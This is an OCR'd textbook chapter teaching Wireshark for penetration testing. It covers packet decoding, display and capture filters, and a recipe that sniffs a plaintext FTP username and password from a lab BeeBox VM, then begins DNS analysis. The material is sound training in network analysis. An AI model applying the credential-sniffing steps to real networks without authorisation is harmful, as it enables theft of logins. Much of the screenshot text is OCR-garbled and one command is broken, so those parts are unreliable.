unique address (factory default)
Individual address (un

Padding: © 8
» Address Resclution Protocc
ff ff ff ff

00 00 © 00 @ ag 5 00 00 @0
00 00 0O GO 00 GO @ ee

No.: 62 - Time: 26.196276580 - Source: PCSSystemtec_lc:ed:bc - Destination: Broadcast - Protocol: ARP - Length: 60 - Info: Who has 192.168.
v Show packet bytes Layout: Vertical (Stacked) -

37 Tell 192.168.92.2

X Close Q2 Help

Figure 5.11 - Ethernet header
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6. Scroll down further and expand Address Resolution Protocol. You will see the sender’s

IP address and the IP address they want to find.

Wireshark - Packet 62 - eth1

. = IG6 bit: Individual address (unicast)

ution Protoc
type: Ethernet (1)
= IPv4 ( )

PCSSystemtec
Sender IP addri 3 .2

as

(€] © 0 ee 3
00 90 00 00 0O 00 B0 00 ee

No.: 62 - Time: 26.196276580 - Source: PCSSystemtec_Tc:ed:be - Destination: Broadcast - Protocol: ARP - Length: 60 - Info: Who has 7192.168.92.37 Tell 192.168.92.2
v Show packet bytes Layout: Vertical (Stacked)

% Close Qi Help

Figure 5.12 - Wireshark ARP fields

7. Lastly, select Sender IP address. Note that the hex dump is highlighted so you can see

the exact position of the data in the raw packet.
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Wireshark - Packet 62 - eth1

. = IG bit: Individual address (unicast)

olution Prot
: Ethernet (1

S - 2 o PCSSvstemtec 1c

Sender IP addres 192.168.92.

larget MAL aaare HEH

Target IP addr
AR _AR_A1
a8 5c 02

Y U wu

Sender IP address (arp.src.proto_ipv4), 4 bytes
v Show packet bytes Layout: Vertical (Stacked)

X Close ) Help

Figure 5.13 - Wireshark ARP hex decode

You can now move on to the next recipe, where we will use the captured traffic.

How it works...

Wireshark’s packet decoding process recognizes and interprets different protocols layer by layer.
It peels off and decodes its respective header fields from the raw binary data, translating them
into human-readable information such as source/destination addresses, port numbers, flags, and
protocol-specific details. By stacking these layers, Wireshark provides a clear view of each packet.
Pentesters can use this detailed packet view to analyze network traffic, identify active services,
detect insecure protocols or credentials, and spot misconfigurations that could be exploited

during an assessment.

See also...

More information on packet decoding can be found at https://www.wireshark.org/docs/wsdg_
html_chunked/ChapterDissection.html.


https://www.wireshark.org/docs/wsdg_html_chunked/ChapterDissection.html
https://www.wireshark.org/docs/wsdg_html_chunked/ChapterDissection.html

184 Wireshark Wizard: Network Traffic Demystified

Implementing display filters

Mastering Wireshark’s filtering and searching features allows you to focus on relevant traffic
analysis. This recipe will demonstrate how to utilize, capture, and display filters to pinpoint the
specific packets you require, allowing you to navigate extensive network data. You will discover
how to create accurate filter expressions emphasizing suspicious traffic trends or separate inter-
actions between hosts and services. This separation will significantly enhance your capability to

identify anomalies and vulnerabilities.

Getting ready

You need the following to complete this recipe:

e TheKali VM up and operational
e  The Wireshark interface up and running

e Apacket capture of a minimum of 2,000 packets from a reasonably active network

How to do it...

1.  Search the Wireshark interface while a capture is running. There are two ways to search
and/or filter from the interface. The first method is if you know your filter criteria, type
it directly into the display filter field. For this example, type ip into the display filter and

press Enter.

File Edit View Go Capture Analyze Statistics Telephony Wirelg

ﬁD.ﬂ@r‘-.EQ(——)ﬂ-e-y

Destination

.401061693 192.168.
50 23.215143240 192.168.56.
91 23.423923619 192.168.92.
52 23.424690120 192.168.92.
55 24.216590735 192.168.56.
56 24.448016122 192.168.92.
57 24.448621601 192.168.92.
58 25.217658181 192.168.56.

239.255.255.
192.168.92.7
192.168.92.3
239.255.255.
192.168.92.7
192.168.92.3
239.255.255.

[N RN NN

Figure 5.14 - IP display filter
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2. Another method is the search filter dropdown. Click on the search filter dropdown on the
far left and select the predefined IPv4 only:ip filter.

With this search, you will now see that any IPv6 or layer 2 packets such as ARP have been
removed from the display, leaving you with only IPv4 packets. Also, note at the bottom

the total number of packets (921) compared to the number displayed (363).

Felp

0 sMB@c >« MEoc @A

520 15. 849309163 . 224.0.0.251 376 Standard query €xBe00 ANY 40T57ddd-8435-5c06-a8d4-Thelf786Tald. spotify-connect. tep. local, -
521 19.840475328 224.9.9.251 419 Standard query rosponse @xB08d PTR, cache flush X8138015NKF.local PTR, cache flush X913eel.
525 19.88075532: = 224.9.0.25] 318 Standard query 0x0000 ANY Ssart TV. androidtvremote2. tcp.local, “QM° question ANY localhos.
526 19.891271255 8.9.251 541 Standard query responso 8x0008 PTR, cache flush localhest.local PTR, cacho flush localbost..
529 19.910825608 9.0.251 438 Standard query 0x0000 PTR lb. dns-sd. udp.lecal, "QM" question PTR _sleep-proxy. udp.local,.
§31 18.912700209 9.8,251 400 Standard query 0x2600 ANY WIKVISION DS-2CD2142FWD-I - CA1663928. hitp. tcp.local, "QM" ques.
533 19. 943081343 & .9.0.251 208 Standard query €x8600 ANY Hue Bridge - 111301, hue._tcp.local, "Qu" gquestion ANY ech5falil3.
535 10. 982444272 0.0,251 438 Standard query 6x9689 PTR 1b._dns-sd._udp.lacal, "QM" question PTR _sleep-proxy. udp.local,.
537 20043316060 9.0.251 324 Standard query response 6x0000 PTR, cache flush ecb5fal113d1.local PTR, cache flush ecbSfal.
540 20. 048989876 a response che f s} roidtvremate? -
842 20. 102002175 .31.51.58 £4.0. 431 Standard query response @x8000 cache flush PTR _androidtvremote2. tcp. local PTR Smart .
543 28.193189328 31.50.173 .8.0.251 339 Standard query response 8x8008 cache flush PTR hue. tep.local PTR Hue Bridge - 111301
548 20252900793 .31.50.212 224.90.0.251 863 Standard query response @x@000 cache flush PTR _http._tcp.local PTR HIKVISION DS-2CD21.
551 28. 280726905 31.51.37 224.9.8.251 10896 Standard query response 8x6008 cache Flush PTR _spotify-connect. _tep. local PTR 88757dd.
553 20.4511537168 .31.51.67 172.31.51.255 220 6537 . 6537 Len=178
554 28. 686050266 .31.50.243 172.31.51.255 63 35018 . 32414 Len=21
555 20.687149020 31.50.203 172.31.51.255 63 42856 . 32412 Len=21
560 26.849975639 .31.50.212 224.90.8.251 MDN: 172 Standard query response @xB088 AAAA, cache flush fdaB:a5d7:b825:cdéed:5an3: fbff:fe62 efad Aa.
562 20.351968808 31.51.67 256,265, 255,256 220 6537 . 6537 Len=178
568 21.049270188 31.51.67 224.9.0.251 551 Standard query response exe000 TXT, cache flush PTR _androidtvremotez. tcp.local PTR Living.
570 21.101368724 .31.51.58 224.0.0.251 431 Standard query response 8x600@ TXT, cache flush PTR _androidtvremste2._tcp.local PTR Smart .
571 21.193272608 31.50.248 239,293,255 .2% 136 M-SEARCH * HTTP/1.1
572 21.103272836 172.31.50.246 239,285 255,250 170 M-SEARCH * HTTP/1.1
573 21.183272892 _172.31.50.173 9.0 339 Standard guer TAT_cache
+ Frame 792; 325 bytes on wire (2600

Ethernet II, Src: ecobee cB:12:82 (44:61:32:c8:12:02
+ Internet Prot 5! y 1 172.31.56.185, Dst
User Datagram Protocol, S 4 Dst Port: 5353
Multicast Demain Name System (response)

o0
a1 e

Displayed: 363 (39,4%) - Droppe: Profile Defauit

Figure 5.15 - IP only

3. Now try another filter; use the dropdown and select Non DNS Port.

4. Youcan use anegative filter. In the display filter field type in not ARP and press Enter. You

will see all your ARP entries removed.
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5. You can combine entries in the search field using and. Type not arp and not dns and

press Enter. All ARP and DNS entries will have been removed.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODOA® R BEBE 2 « >0 <« >HE

not arp and not dns|

Time Source Destination Protocol Length Info

1 0.000000000 23.38.59.250 192.168.1.34 60 — 57409

2 34 2 i

5 3.663760049 .168.1.34 142.251.222.99 57424 - 80

6 3.670377329 142.251.222.99 192.168.1.34 TCP 66 80 — 57424

7 3.670377860 192.168.1.34 142.251.222.99 TCP 60 57424 - 80

8 3.670377941 192.168.1.34 142.251.222 .99 HTTP 254 GET /r/ril.c

9 3.678908236 142.251.222.99 192.168.1.34 TCP 60 80 -~ 57424
16 3.683088894 142.251.222.99 192.168.1.34 PKIX-C.. 1758 Certificate
11 3.683089455 192.168.1.34 142.251.222 .99 TCP 60 57424 . 86
14 3.694911561 192.168.1.34 104.120.67.240 TCP 66 57425 -~ 80
15 3.700340857 104.120.67.240 192.168.1.34 TCP 66 80 -~ 57425
16 3.700341478 192.168.1.34 104.120.67.240 TCP 60 57425 - 80
17 3.700341558 192.168.1.34 104.120.67.240 HTTP 281 GET / HTTP/
18 3.7053703489 104.120.67.240 192.168.1.34 TCP 60 80 - 57425
19 3.707382799 104.120.67.240 192.168.1.34 HTTP 317 HTTP/1.1 30

Figure 5.16 - not arp and not dns

6. Youmay now close and exit Wireshark.

How it works...

Wireshark’s display filters allow you to manipulate how captured packets are shown within the
interface without discarding any data. Using the filter syntax, Wireshark will only display packets
that match the defined conditions, making it easier to focus on relevant traffic. In our examples,
we eliminated any non-IPv4 traffic and then further eliminated DNS packets. These filters can
be combined to create even more precise views, helping you pinpoint the information you need
for practical analysis. Other examples are filtering by source and/or destination IP address, ports,
or protocols. To gain a better view, you want to eliminate noise that may mask important infor-

mation about the network.

See also...

More information on display filters can be found at https://www.wireshark.org/docs/wsug_
html_chunked/ChWorkFilterAddExpressionSection.html.


https://www.wireshark.org/docs/wsug_html_chunked/ChWorkFilterAddExpressionSection.html
https://www.wireshark.org/docs/wsug_html_chunked/ChWorkFilterAddExpressionSection.html
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Filtering captured traffic

Capture filtering is a critical technique for narrowing down the data Wireshark collects, allowing
you to focus on specific traffic right from the moment it’s recorded. Unlike display filters, which
only hide or show certain packets after they’re captured, capture filters prevent unwanted packets

from ever being collected, thus reducing file sizes and system overhead.

Getting ready

You need the following to complete this recipe:

e AKali VM thatis up and operational

e  The Wireshark interface up and running

How to do it...

1.  Capture filters are similar to display filters in their design. However, capture filters limit
the data captured. This is useful when you know the exact type of data you are looking
for or the interesting traffic you want to capture. Display filters limit what information is
displayed to you but still maintain all the packets originally captured. The capture filters
interface is similar to the display filters one. Under Capture, you will find the using this
filter field.

The Wireshark Network Analyzer

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® G BRRB 2 « »n « >HE

Welcome to Wireshark
...using this filter: ||| Ente ture filte '] Allinterfaces shown~

eth0 IRV | UV TP
ethl

any
Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
@ Cisco remote capture: ciscodump
@ DisplayPort AUX channel monitor capture: dpauxmon
@ Random packet generator: randpkt
@ systemd Journal Export: sdjournal
@ SSH remote capture: sshdump
@ UDP Listener remote capture: udpdump
® Wi-Fi remote capture: wifidump

Figure 5.17 - Capture filters
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Tip

Packet captures can grow very large because they include every packet that
crosses the network interface. As a penetration tester, it’s important to iden-
tify which types of packets are relevant to your analysis. By creating tailored
capture filters and profiles, you can limit data collection to only the traffic
you need. This is especially valuable when working with remote capture
devices that may have limited storage, making targeted captures essential
for efficient analysis. Type arp in the field and double-click on the ethO

interface (or whatever interface connects to your local network).

The Wireshark Ng

File Edit View Go Capture Analyze Statistics Telephony Wireless Too

AOAQ@ s BEE@ 2 « > 05 <« > 1

Welcome to Wireshark

...using this filter: [l arp|

ethO

any
Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
@ Cisco remote capture: ciscodump

Figure 5.18 - Capture ARP
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2. From the output, you can now see that we are only capturing ARP packets. When ready to
move on, press the red stop button at the top and the close button, which has an X icon.
When prompted, select Continue without Saving.

& Capturing from eth1 (arp)

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOA® R BE@ 2« »n «>rBE oo cEHR

LIl
No. Source Destination Protocol Length Info
.291513943 PCSSystemtec_1c: . Broadcast has 192.168.92. Tell 192.

32 352.291549890 PCSSystemtec_14: PCSSystemtec_1c:e4 ARP 42 192.168.92.3 is at 08:00:27:14:
33 357.377279157 PCSSystemtec_14: PCSSystemtec_1ic:e4 ARP 42 Who has 192.168.92.27 Tell 192.168.92.3
34 357.377561032 PCSSystemtec_1c: . PCSSystemtec_14:7b ARP 60 192.168.92.2 is at 08:00:27:1c:e4:
35 370.944896721 PCSSystemtec_14: PCSSystemtec_00:08:.. ARP 42 Who has 192.168.92.77 Tell 192.168.92.3
36 370.945595553 PCSSystemtec_00: . PCssystemtec_14:7b ARP 60 192.168.92.7 is at 08:00:27:00:08:89
37 403.968004355 PCSSystemtec_14: PCSSystemtec_00:08 ARP 42 Who has 192.168.92.7? Tell 192.168.92.3
38 403.968659595 PCSSystemtec 00: PCssSystemtec_14:7b ARP 60 192.168.92.7 is at 08:00:27:00:08:89
39 446.976019415 PCSSystemtec_14: . PCSSystemtec_00:08 ARP 42 Who has 192.168.92.7? Tell 192.168.92.3
40 446.976682109 PCSSystemtec_00: PCSSystemtec_14:7b:.. ARP 60 192.168.92.7 is at 08:00:27:00:08:89
41 472.278911114 PCSSystemtec_00: . PCSSystemtec_1c:ed:.. ARP 660 Who has 192.168.92.27 Tell 192.168.92.7
42 472.278911635 PCSSystemtec_1c:ed:.. PCSSystemtec_00:08:.. ARP 60 192.168.92.2 is at 08:00:27:1c:e4:bc
43 489.984449789 PCSSystemtec 14: PCSSystemtec_00:08:.. ARP 42 Who has 192.168.92.77 Tell 192.168.92.3
44 489.985053293 PCSSystemtec_00: . PCssystemtec_14:7b:.. ARP 66 192.168.92.7 is at 08:00:27:00:08:
45 530.396345522 PCSSystemtec_d7: Broadcast ARP 60 Who has 192.168.92.27 Tell 192.168.92.5
46 530.396346113 PCSSystemtec_1c: PCSSystemtec_d7:cc:.. ARP 60 192.168.92.2 is at 08:00:27:1c:e4:bc
47 532.992199816 PCSSystemtec_14:7b:.. PCSSystemtec_00:08:.. ARP 42 Who has 192.168.92.7? Tell 192.168.92.3
48 532.992789414 PCSSystemtec_00:08:.. PCSSystemtec_14:7b:.. ARP 60 192.168.92.7 is at 08:00:27:00:06:89

Figure 5.19 - Live ARP capture

3. You will be returned to the main capture screen. This time, let’s capture DNS. Type in ip

and udp port 53 and double-click on your Ethernet interface.

Welcome to Wireshark
sing this filter: p and udp port 53

eth0
etnl

any
Loopback: lo
bluetooth-monitor
nflog

nfgqueue
dbus-system

Figure 5.20 - DNS capture
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4. Reviewing the output, we can now see that only DNS trafficis being captured. When ready
to move on, press the red stop button at the top and the close button, which has an Xicon.
When prompted, select Continue without Saving.

£ Capturing from cth0 (ip and udp port 53)

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® e BB @ ¢« »n <« >EEcenBER
Mty 5

No. Time Source Destination Protocol Length Info

| 7 3.522068555 1 157.187.167 76 Standard query ©xcdbb A dns.msftncsi.com

| 8 3.522069186 1 .8.8.8 76 standard query @xcdbb A dns.msftncsi.com

L 9 6.000407169 192.168.1.33 103.157.187.167 DNS 91 Standard query ©x3936 A signaler-pa.clients6.goog
10 6.000407700 192.168.1.33 8.8.8.8 DNS 91 Standard query ©x3936 A signaler-pa.clients6.goog|
11 7.522352214  192.168.1.33 103.157.187.167 DNS 76 Standard query oxcdbb A dns.msftncsi.com
12 7.522352765 192.168.1.33 8.8.8.8 DNS 76 Standard query Oxcdbb A dns.msftncsi.com
13 7.527692311 103.157.187.167 192.168.1.33 DNS 92 standard query response Oxcdbb A dns.msftncsi.com|
14 7.529056672 8.8.8.8 192.168.1.33 DNS 92 Standard query response @xcdbb A dns.msftncsi.com|
15 7.689203415 192.168.1.33 103.157.187.167 DNS 77 Standard query ©x52f3 A ops-gx.nvidia.com
16 7.702476701  103.157.187.167 192.168.1.33 DNS 184 standard query response 8x52f3 A ops-gx.nvidia.col
17 8.776762450  192.168.1.33 103.157.187.167 DNS 81 Standard query Ox5eca A events.gfe.nvidia.com
18 8.784020651 103.157.187.167 192.168.1.33 DNS 97 standard query response 0x5eca A events.gfe.nvidi
19 9.526629972 192.168.1.33 103.157.187.167 DNS 85 Standard query @x@4ca PTR 126.57.66.18.in-addr.ar|
20 9.538031931 103.157.187.167 192.168.1.33 DNS 141 standard query response ©x@4ca PTR 126.57.66.18.1
21 10.001495987 192.168.1.33 8.8.8.8 DNS 91 Standard query ©x2@c9 A signaler-pa.clients6.goog|
22 10.001496508 192.168.1.33 8.8.8.8 DNS 91 Standard query ©xa59b HTTPS signaler-pa.clients6
23 10.0093916013 8.8.8.8 192.168.1.33 DNS 107 Standard query response 8x28c9 A signaler-pa.clie
24 10.009391725 8.8.8.8 192.168.1.33 DNS 141 Standard query response ©xa59b HTTPS signaler-pa.

Figure 5.21 - Live DNS capture
Tip
N\ ! 7
/@\ If you do not see any traffic, try opening a web browser on the host machine

or within Kali and browsing to https://www.yahoo.com.

5. You may now close and exit Wireshark.

How it works...

Capture filters in Wireshark operate on the network interface to capture only packets that match
specific criteria, such as IP addresses, protocols, or ports, before saving them to a capture file.

Wireshark never sees packets outside these criteria, reducing the file size of the saved capture.

See also...

More information on filters can be found at https://www.wireshark.org/docs/wsug_html_
chunked/ChCapCaptureFilterSection.html.

Performing TCP analysis (FTP)

TCP is the core protocol for most network communications, making it an essential protocol for
analysis. This recipe will illustrate an FTP capture where we gather critical information related

to our penetration-testing activities.


https://www.wireshark.org/docs/wsug_html_chunked/ChCapCaptureFilterSection.html
https://www.wireshark.org/docs/wsug_html_chunked/ChCapCaptureFilterSection.html
https://www.yahoo.com
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Getting ready

You need the following to complete this recipe:

e AKali VM thatis up and operational
e  BeeBoxup and running

e  The Wireshark interface up and running

How to do it...

1. Ensure the BeeBox bWAPP VM is up and running and obtain the IP address of the VM.

\ Tip

\ 7/

-/@\_ If you have difficulty obtaining the IP address, now is a great time to practice

using Nmap. Refer to Chapter 4 if a refresher is required.

2. Enter a capture filter from the Wireshark main interface to gather FTP traffic. For this, use
a capture filter of ip and port 21. Then select your VM network interface, in my case,
ethl, and double-click it.

Welcome to Wireshark

...using this filter: | N ip{and tcp port 21

ethl
any
Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
@ Cisco remote capture: ciscodump

Figure 5.22 - FTP capture filter

You will be taken to the capture interface. However, no packets may be captured at this

point.
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3. Leaving the packet capture up and running, open a terminal window and drag it out of
the way of the capture window.

Source Destination Protocol  Length Info

Session Actions Edit View Help

Figure 5.23 - Capture and terminal window

4. In the terminal window, let’s create an FTP session to the IP address of the BeeBox host

(in my case, 192.168.92.7) using the following:

ftp 168.92.7

You will immediately begin seeing packets captured on the screen.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOA® R BRMB@ Q ¢« >0 « > H

Source Destination Protocol Length Info
192.168.92. 192.168.92.7 TCP. 74 36876 — 21 [SYN] Seq=0 W.
192.1 5 6 [SYN, ACK] Se
66 36876 — 21 [ACK] Seq=1 A TSval=165;
117 Response: 220 ProFTPD 1.3.1 Server (bee-box) [192.168.92.7]
66 36876 — 21 [ACK] Seq=1 Ack=52 Win=129892 Len=0 TSval=1651480260 TSecr=1312050

192.1

¥ 192.1¢
55.910879552  192.168.92

lali@kal: ~

Figure 5.24 - Initial FTP capture
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Log in with the username bee and the password bug.

Once at the FTP prompt, enter the following command to print out a directory of the

accessible files (as shown in Figure 5.25):

1s

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADAG R BAB@ a2 c»>n«>r@EcoolE

Source Destination Protocol _ Length Info

9 71.691429372 .168.92. 192.168.92. TCP 66 36876 — 21 [ACK] Seq=11 ACK=83 Win=129864 Len=0 T5val=1651546941 TSecr=1328719
10 74.377920800 .168.92. .168.92. 76 Request: PASS bug

11 74.383848853 .168.92. .168.92. 90 Response: 230 User bee logged in

12 74.383867298 .168.92. .168.92. 66 36876 21 [ACK] Seq=21 Ack=107 Win=129846 Len=0 TSval=1651549633 TSecr=1329392
13 74.384579264 o o X 72 Request: SYST

14 74.385474160 .168.92. .168.92. 215 UNIX Type: L8

15 74.385640170 FEAT

16 74.386467871 .168.92. .168.92. onse: 211-Features

17 74.428463379 .168.92. .168.92. - 21 [ACK] Seq=33 Ack=166 Win=129784 Len=0 TSval=1651549678 TSecr=1329392
18 74.429034642 .168.92. .168.92. 75 Response: 211 End

19 74.429056153 .168.92. .168.92. 66 36876 — 21 [ACK] Seq=33 Ack=175 Win=129776 Len=0 TSval=1651549678 TSecr=1329403
20 85.505973837 .168.92. .168.92. 72 Request: EPSV

21 85.507292894 .168.92. .168.92. 113 Response: 229 Entering Extended Passive Mode (|||1529])

22 85.507305748 2 o X 66 36876 21 [ACK] Seq=39 Ack=222 Win=129732 Len=0 TSval=1651560756 TSecr=1332172

23 85.508755008 o 3

24 85.548030889 .168.92. .168.92. 5 Win=5824 Len=0 TSval=1332183 TSecr=1651560758
25 90.512981406 .168.92. .168.92. 120 Response: 150 Opening ASCIT mode data connection for file list

26 90.556468792 .168.92. .168.92. 66 36876 ~ 21 [ACK] Seq=45 Ack=276 Win=129680 Len=0 TSval=1651565806 TSecr=1333424
27 90.557083848 .168.92. .168.92. 89 Response: 226 Transfer completg

28 90.557152576

» Frame 1

Figure 5.25 - Is command

Review the packets a bit, and when you’re done, type the following to end the FTP session:

exit

You may now close the terminal window.
You may stop the packet capture by hitting the red stop button.

Look through the output and see whether you captured anything useful. If you look care-
fully, you will find two packets, one containing the username of the session and the other

containing the password.

No. Time Source Destination Protocol Length Info.
10.000000000  192.168.92.3 192.168.92.7 TCP 74 36876 — 21 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=1651475249 TSec
20.000836299  192.168.92.7 192.168.92.3 TCP 74 21 —. 36876 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM TSval=13107
30.000860063 192.168.92.3 192.168.92.7 TCP 66 36876 — 21 [ACK] Seq=1 Ack=1 Win=129940 Len=0 TSval=1651475250 TSecr=1310797
45.010851520  192.168.92.7 192.168.92.3 FTP 117 Response: 220 ProFTPD 1.3.1 Server (bee-box) [192.168.92.7]
55.010879552  192.168.92.3 192.168.92.7 TCcP 66 36876 ACK] Seq=1 Ack=52 Win=129892 Len=0 TSval=1651480260 TSecr=1312050
6 1.689632936 192.168.92.3 192.168.92.7

FTP. 76 Request: USER bee
3 5 5 5 5 P = ACR] Seq=52 Ack=11 Win=5824 Len=0 TSval=1328718 1Secr=1651546939
8 71.591415525 192.168.92.7 192.168.92.3 FTP 97 Response: 331 Password required for bee

691429372 192 168.92 3 192 168.9 ICR 66 36876 . 21 [ACK] Seq=11 Ack=83 Win=129864 Len=0 TSval=1651546941 TSecr=1328719

to

En 5 vz vZ. 5 v logged

12 74.383867298 192.168.92.3 192.168.92.7 Tcp 66 36876 — 21 [ACK] seq 21 Ack 1@7 w;n 129840 Len=0 TSval=1651549633 TSecr=1329392
13 74.384579264 192.168.92.3 192.168.92.7 FTP 72 Request: SYST

14 74.385474160 192.168.92.7 192.168.92.3 FTP 85 Response: 215 UNIX Type: L8

15 74.385640170 192.168.92.3 192.168.92.7 FTP 72 Request: FEAT

16 74.386467871 192.168.92.7 192.168.92.3 FTP 106 Response: 211-Features:

17 74.428463379 192.168.92.3 192.168.92.7 Tcp 66 36876 — 21 [ACK] Seq=33 Ack=166 Win=129784 Len=0 TSval=1651549678 TSecr=1329392
18 74.429034642 192.168.92.7 192.168.92.3 FTP 75 Response: 211 End

19 74.429056153 192.168.92.3 192.168.92.7 Tcp 66 36876 — 21 [ACK] Seq=33 Ack=175 Win=129776 Len=0 TSval=1651549678 TSecr=1329403
20 85.505973837 192.168.92.3 192.168.92.7 FTP 72 Request: EPSV

Figure 5.26 - Username and password callout



194 Wireshark Wizard: Network Traffic Demystified

Not all protocol decoding will call out the username or password. You may have to look

through the packet decoder to view the information.

Tip

\

|
_@_ You can apply a filter to help you find the password: ftp . request. command
= "USER' or ftp.request.command == 'PASS'.

10. Select the packet with the username and expand the FTP portion of that packet.

*ethi (ip and tep port 21)

File Edit w Go Capture Analyze St ics Telephony Wireless Tools Help

ADAG e BRM@ ¢« »>»n<«>EEocooER

Source Destination
1 0.000000000 192.168.92.3 192.168.92.7
2 0.000836299 192.168.92.7 192.168.92.3
.7
.3

Protocol Length Info
74 36876 — 21 [SYN] Seq=6 Win=65535 Len=0 MSS=14
74 21 . 36876 [SYN, ACK] Seq=6 Ack=1 Win=5792 Lg|

3 0.000860063 192.168.92. 192.168.92 TCP 66 36876 — 21 [ACK] Seq=1 Ack=1 Win=129940 Len=6|

4 5.010851520 192.168.92. 192.168.92 FTP 117 Response: 220 ProFTPD 1.3.1 Server (bee-box)

55 A1AR79552 192 168 92 192 168 92 Ico 66 36876 . 21 [ACK] Seq=1 Ack=52 Win=129892 Len=|
7

71.691415526 192.168.92.3 Response: 331 Password required for bee
9 71.691429372 192.168.92. 192.168.92.7 TCcP 66 36876 — 21 [ACK] Seq=11 Ack=83 Win=129864 Len|
10 74.377920800 192.168.92. 192.168.92.7 FTP 76 Request: PASS bug
11 74.383848853 192.168.92. 192.168.92.3 FTP 968 Response: 230 User bee logged in
12 74.383867298 192.168.92. 192.168.92.7 TCcP 66 36876 — 21 [ACK] Seq=21 Ack=107 Win=129848 Le|
13 74.384579264 192.168.92. 192.168.92.7 FTP 72 Request: SYST
14 74.385474160 192.168.92. 192.168.92.3 FTP 85 Response: 215 UNIX Type: L8
15 74.385640170 192.168.92. 192.168.92.7 FTP 72 Request: FEAT
16 74.386467871 192.168.92. 192.168.92.3 FTP 106 Response: 211-Features:
74.428463379 192.168.92.7 36876 — 21 [ACK] Seq=33 Ack=166 Win=129784 Le
74.429034642 .3 Response: 211 End

es on wir aptured (608
Ethernet II, Src: 27:14:7b:e9), L
Internet Protc 168 Dst: 192.168.¢

21,

P
2USER b ee--

Figure 5.27 - Username packet closeup

11. Select the one for the password and expand the FTP portion of that packet.
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*cth (ip and tcp port 21)

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AODA® s BEE 2« >0 «>BEE oo o EHE

Source Destination Protocol Length Info

. 3 . 7 74 36876 — 21 [SYN] Seq=0 Win=65535 Len=0 MSS=14
2 0.000836299 7 - 3 74 21 . 36876 [SYN, ACK] Seq=0 Ack=1 Win=5792 Le|
3 0.000860063 192.168.92.3 192.168.92.7 66 36876 — 21 [ACK] Seq=1 Ack=1 Win=12994@ Len=0
4 5.010851528 192.168.92.7 192.168.92.3 FTP 117 Response: 220 ProFTPD 1.3.1 Server (bee-box)
5 5.010879552 192.168.92.3 192.168.92.7 TCP 66 36876 — 21 [ACK] Seq=1 Ack=52 Win=129892 Len=
6 71.689632936 192.168.92.3 192.168.92.7 FTP 76 Request: USER bee
7 71.690241158 192.168.92.7 192.168.92.3 66 21 — 36876 [ACK] Seq=52 Ack=11 Win=5824 Len=0
8 71.691415526 7 .892.3 97 Response: 331 Password required for bee

3 7 1 _[ACK] Seq=11 Ack=83 Win=129864 Len|

bee logged in

12 74.383867298 .3 7 66 36876 — 21 [ACK] Seq=21 Ack=107 Win=129840 Le

13 74.384579264 192.168.92.3 192.168.92.7 FTP 72 Request: SYST

14 74.385474160 192.168.92.7 192.168.92.3 FTP 85 Response: 215 UNIX Type: L8

15 74.385640170 192.168.92.3 192.168.92.7 FTP 72 Request: FEAT

16 74.386467871 192.168.92.7 192.168.92.3 FTP 106 Response: 211-Features:

17 74.428463379 3 7 66 36876 — 21 [ACK] Seq=33 Ack=166 Win=129784 Le
7 3

18 74.429034642

Frame 10: 76 ¢
Ethernet II, i 9 9 E 6
6 ) 15 5e a

n_Control Protocol

-9 by
col (FTP) o

1 p
2 FOPASS bliig

Request arg: bug

{Current working direc

Figure 5.28 - Password packet closeup

12. You may now close the Wireshark interface.

How it works...

There are several protocols that expose their credentials in plain text. FTP and Telnet are two
notable ones that do this. Telnet has largely been replaced by SSH, which has encryption to pro-
tect against password stealing. FTP is still often used on private networks even though there are

alternatives that allow encryption, such as SFTP, FTPS, and SCP.

See also...

More information on TCP packet analysis can be found at https://www.wireshark.org/docs/
wsug_html_chunked/ChAdvTCPAnalysis.html.

Performing UDP analysis (DNS)

Unlike TCP, UDP is connectionless and prone to specific attacks or analysis. In this recipe, you
will learn how to investigate and gather critical information related to your penetration-testing

activities.


https://www.wireshark.org/docs/wsug_html_chunked/ChAdvTCPAnalysis.html
https://www.wireshark.org/docs/wsug_html_chunked/ChAdvTCPAnalysis.html
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Getting ready

You need the following to complete this recipe:

e AKali VM thatis up and operational
e The Wireshark interface up and running

e  Apacket capture of a minimum of 2,000 packets from a reasonably active network

How to do it...

1. With a packet capture up in the window, enter the ip and dns display filter.

o Capturing from eth0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOA® R BBRE@ 2@ ¢« »n <« >EE oe o @

[W[ipand dng] BE -]+
No. Time Source Destinati Protocol Length Info
0.467732887 . 1 . . DNS 85 Standard query 8x6b8e PTR 213.91.45.23.in-addr.arp
3 0.467733418 . 3 . 167 86 Standard query @xfSbb PTR 78
4 .0.474304749 103.157.187.167 125 Standard query respons 5! TR .
5 0.475643043 103.157.187.167 149 standard guery response @x6b8e PTR 21.

(686 b

7d), ©

157.1

in Name System (query)

® E  ethO: <live capture in progress> Packets: 5 - Displayed: 4 (80.0%) Profile: Default
Figure 5.29 - IP and DNS filter
Tip

-()- You could also run a new packet capture using ip and port 53 asa capture

filter. If you are not finding much DNS traffic, start a capture and then open

a web browser to yahoo. com.


yahoo.com
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2. Select a standard query response from the packets display and double-click it.

No. Time Source Destinati Protocol Length Info

630 131.426218339 192.168.1.40 103.157.187.167 DNS 75 Standard query 0xfd89 A www.youtube.com

631 131.426470639 192.168.1.40 103.157.187.167 DNS 75 standard query 0x4b8a AAAA www.youtube.com

632 131.431559218 103.157.187.167 192.168.1.40 DNS 368 Standard gquery response ©xfd89 A www.youtube.com CNAM
633 131.431559629 103.157.187.167 192.168.1.40 DNS 224 standard query response ©x4b8a AAAA www.youtube.com C
653 138.662919909 192.168.1.33 103.157.187.167 DNS 77 Standard query 0x81e® A crl3.digicert.com

654 138.670619692 103.157.187.167 192.168.1.33 DNS 212 standard query response ©x81e® A crl3.digicert.com Ch
713 163.072519161 192.168.1.33 103.157.187.167 DNS 74 standard query 0x2fba A assets.msn.com

